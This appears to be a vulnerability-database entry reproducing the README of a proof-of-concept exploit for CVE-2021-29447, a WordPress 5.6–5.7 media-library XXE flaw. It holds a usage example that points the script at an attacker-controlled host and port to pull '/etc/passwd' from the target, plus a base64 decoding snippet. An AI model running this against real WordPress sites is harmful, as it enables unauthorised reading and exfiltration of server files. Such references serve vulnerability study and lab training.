关联漏洞
标题：
WordPress 代码问题漏洞
(CVE-2021-29447)
描述：WordPress是WordPress（Wordpress）基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress 存在代码问题漏洞，攻击者可利用该漏洞在成功的XXE攻击中可以访问内部文件。
描述
A proof of concept exploit for a wordpress 5.6 media library vulnerability
介绍
[cve-2021-29447]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
# CVE-2021-29447 Proof-of-Concept
```
╔═╗╦ ╦╔═╗
║ ╚╗╔╝║╣────2021-29447
╚═╝ ╚╝ ╚═╝
Written By (Isa Ebrahim - 0xRar) on January, 2023
═══════════════════════════════════════════════════════════════════════════
[*] Title: Wordpress XML parsing issue in the Media Library leading to XXE
[*] Affected versions: Wordpress 5.6 - 5.7
[*] Patched version: Wordpress 5.7.1
[*] Installation version: PHP 8
═══════════════════════════════════════════════════════════════════════════
```
[CVE-2021-29447]: A user with the ability to upload files (like an Author) can exploit an XML parsing issue in the Media Library leading to XXE attacks. This requires WordPress installation to be using PHP 8. Access to internal files is possible in a successful XXE attack. This has been patched in WordPress version 5.7.1, along with the older affected versions via a minor release.
This script is easy to understand & run and it will automate the steps required to exploit the XXE attack
on the wordpress media library.
## Usage
```
usage: PoC.py [-h] [-l LHOST] [-p PORT] [-f FILE]
options:
-h, --help show this help message and exit
-l LHOST, --lhost LHOST your server ip address e.g. 10.0.2.15
-p PORT, --port PORT your server port e.g. 1337
-f FILE, --file FILE system file to read e.g. /etc/passwd
```
Example:
```
$ python3 PoC.py -l 10.0.2.15 -p 8000 -f /etc/passwd
```
To decode the base64 use/run the following php snippet:
```php
<?php
echo zlib_decode(base64_decode('base64_here'));
?>
```
```shell
$ php decode.php
```
---
- References:
- https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
- https://tryhackme.com/room/wordpresscve202129447
文件快照
[4.0K] /data/pocs/a8ee33fda630b6096c08d55e0491081933578b85
├── [ 59] decode.php
├── [2.8K] PoC.py
└── [2.2K] README.md
0 directories, 3 files
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